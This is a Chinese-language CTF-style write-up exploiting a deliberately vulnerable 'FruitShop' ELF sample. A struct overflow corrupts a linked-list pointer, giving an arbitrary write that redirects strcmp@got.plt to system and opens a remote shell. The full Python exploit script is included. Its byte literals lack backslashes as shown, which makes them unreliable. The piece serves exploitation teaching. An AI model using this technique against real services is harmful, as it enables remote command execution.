Pwn FruitShop的故事（下）-安全客

Pwn FruitShop的故事（下）

在上一篇Pwn FruitShop的故事（上）中我们介绍了目标样本产生的背景并分享了一个64位栈溢出漏洞的利用方式。本次我们将继续分享一个64位内存任意写的漏洞，并在系统开启ASLR的环境下完成漏洞的利用。

为便于大家复现，提供样本ELF程序和样本源码，可以在x64的linux虚拟机上运行。
环境：Ubuntu 16.04 x64

分析的样本程序：f2_x64_point
链接：https://pan.baidu.com/s/1Ju18mj3i0-WVHFim-7A6ng
提取码：ofmn

对应样本的源代码：f2_x64_point.cpp
链接：https://pan.baidu.com/s/14ItVEwVQ5jWJTPpM6syYWg
提取码：zwlm

0x00 样本分析

在第一轮的筛选中，我们通过checksec对目标程序采用的安全机制进行检测，筛出了一个没有在栈中开启Canary保护的样本。在第二轮的筛选中，我们通过IDA对剩余样本进行静态分析，筛选出一个结构体中变量溢出导致的内存任意写漏洞的样本程序。

该程序的checksec结果如下：

通过IDA分析，该程序虽然在很多地方对输入字符串的长度没有做合法性检查，但由于有Canary保护机制的存在，我们无法使用覆盖返回地址的方法对栈溢出漏洞进行利用。但是，可以注意到我们是可以修改.got.plt表。

首先我们针对其水果的结构体和链表结构进行分析：

通过IDA静态分析其水果链表的创建过程，可见一个水果节点结构体的大小为0x90=144B大小。

该函数为初始化水果链表的过程，结合F5将汇编代码转换为伪C代码，可以分析出一个水果节点的结构体为：

# Struct Comm 144B
# 0x00  int No;                     //4B
# 0x04  char name[20];              //20B
# 0x18  double price;               //8B
# 0x20  int count;                  //4B
# 0x24  char Description[100];      //100B
# 0x88  struct commdity *next;      //8B

0x01 漏洞成因

通过对ChangeFruit函数的分析和已分析出的水果节点结构体，我们发现由于没有对结构体中的Description的输入做长度的检测，而Description后面紧跟的是*next指针。我们可以通过溢出Description来覆盖*next的值，使我们控制*next指针。
控制了*next指针后，就可以通过改写链表头结点的*next，再调用ChangeFruit()函数对链表结点中*next指向的内存空间进行赋值，从而造成了内存任意写的漏洞。

0x02 漏洞利用

进行动态调试和分析，使用GDB工具。先在Ubuntu虚拟机终端上运行：
socat tcp-l:8888,reuseaddr,fork exec:"stdbuf -i0 -o0 -e0 ./f2_x64_point"
在利用nc连接虚拟机端口，用ps -e查看f2_x64_point进程的pid，再用gdb attach [pid]上对应pid的进程结合断点进行调试。

已分析出目标程序有任意内存写的漏洞后，再配合.got.plt表可写和No PIE，就可以利用改写.got.plt表中某函数对应的地址完成漏洞的利用。

<1>.got.plt表中覆盖函数的选择

通过分析程序的流程，在管理员登录的login函数中，我们发现strcmp系统调用符合漏洞利用的要求，如果我们能将.got.plt表中的对应strcmp@.got.plt函数的地址改为system@.plt的地址(0x4007C0)，就可以通过输入name来给strcmp函数传入参数，继而等价于给system函数传入参数并执行，从而利用漏洞执行了恶意代码。

<2>.got.plt表覆盖过程

通过逆向得到管理员的账户和密码，admin/123，利用Python编写socket通信程序实现与fshop_b7的交互。
利用下图来说明strcmp@.got.plt改写的过程。

login('admin','123')

def changeFruit(id,price,amount,des):
    client.sendall(bytes('2n', encoding='ascii'))
    sendData(id + 'n')
    sendData(price + 'n')
    sendData(amount + 'n')
    sendBin(des)

①首先调用ChangeFruit函数修改第一个水果节点，通过控制Description来覆盖*next指针的值，使其指向一片暂时无用的内存区域，即地址b(0x602270)

bHex1 = b'x41'*100 + 
        b'x70x22x60x00' 
        b'x0Dx0A'
changeFruit('1','0','0',bHex1)

调用ChangeFruit函数修改第一个水果节点后的第一个结点内存数据，红框内是我们控制的指想第二个节点的*next的数值。

②调用ChangeFruit函数修改第二个水果节点，由于第一个水果节点的*next已被我们控制，即可以在指定的第二个水果节点写入我们期望的值。
由于strcmp@.got.plt地址为0x602058，则第三个水果节点的起始地址为0x602058-0x24=0x602034，我们要通过漏洞修改这个地址对应的值，但由于该地址中含有0x20，0x20会使scanf("%s",comm->Description)的输入会发生截断，因而无法通过scanf("%s",comm->Description)传入0x20，但可以通过scanf("%d",&comm->count)利用count数量来传入带0x20的地址。Int(0x602034)=6299700

changeFruit('2','0','6299700',b'x00x0Dx0A')

调用ChangeFruit函数修改第二个水果节点后的第二个结点内存数据，利用count(水果数量)传入0x602034

PS：如果使用Struct Commdity中的int count对strcmp@.got.plt进行覆盖，
会导致system@.got.plt也会被覆盖，导致程序流程中调用system函数时出现错误！利用失败。
0x602058-0x20=0x602038 => int:6299704 fail!

③再调用ChangeFruit函数修改第一个水果节点,重新修改*next指针，指向0x602270+0x20-0x88=0x602208的地址。新的第二个水果节点的*next指针的对应的值就为0x602034。见上图蓝色箭头和虚线框，指的是第②步中第二节点的数据结构。

bHex2 = b'x41'*100 + 
        b'x08x22x60x00' 
        b'x0Dx0A'
# 0x602270+0x20-0x88=0x602208
changeFruit('1','0','0',bHex2)

再调用ChangeFruit函数修改第一个水果节点,重新修改*next指针，完成后的3个结点内存数据

④通过上面3步，此时第三个节点的起始地址为0x602034，调用ChangeFruit函数修改第三个水果节点，通过控制Description，改写0x602058地址对应的值，改为0x4007C0，完成strcmp@.got.plt的改写，之后在程序中调用strcmp函数就等同于调用system函数。

changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')

调用ChangeFruit函数修改第三个水果节点后，第三个结点内存数据（已完成对strcmp@.got.plt的修改）

⑤利用脚本交互，输入3，退出login函数，再输入0，重新进入login函数。
此时调用strcmp就是调用system函数，利用name传入想要执行的命令，即可被传入system函数实现执行，完成漏洞的利用，得到了shell。

sendData('3n')
sendData('0n')

while(1):
    command = input('[+] Shell>')
    sendData(command + 'n')
    sendData('27n')

完整利用过程：

完整利用代码：

import socket
import time

targetIp = '192.168.150.137'
targetPort = 8888

client = socket.socket()
client.connect((targetIp,targetPort))

def sendData(strData):
    bHex = bytes(strData, encoding='ascii')
    client.sendall(bHex)
    time.sleep(0.2)
    data = client.recv(1024)
    try:
        print(str(data, "ascii"))
    except:
        print(data)

def sendBin(bHex):
    client.sendall(bHex)
    time.sleep(0.2)
    data = client.recv(1024)
    try:
        print(str(data, "ascii"))
    except:
        print(data)

def login(user,password):
    sendData('0n')
    sendData(user + 'n')
    sendData(password + 'n')

def changeFruit(id,price,amount,des):
    client.sendall(bytes('2n', encoding='ascii'))
    sendData(id + 'n')
    sendData(price + 'n')
    sendData(amount + 'n')
    sendBin(des)

login('admin','123')

bHex1 = b'x41'*100 + 
        b'x70x22x60x00' 
        b'x0Dx0A'

changeFruit('1','0','0',bHex1)
changeFruit('2','0','6299700',b'x00x0Dx0A')

bHex2 = b'x41'*100 + 
        b'x08x22x60x00' 
        b'x0Dx0A'

changeFruit('1','0','0',bHex2)
changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')

sendData('3n')
sendData('0n')

print('**E*************l***********t*********D*********e*******************')
print('*****x*************o***********!*********o*********!*****************')
print('********p************i**********************n************************')

while(1):
    command = input('[+] Shell>')
    sendData(command + 'n')
    sendData('27n')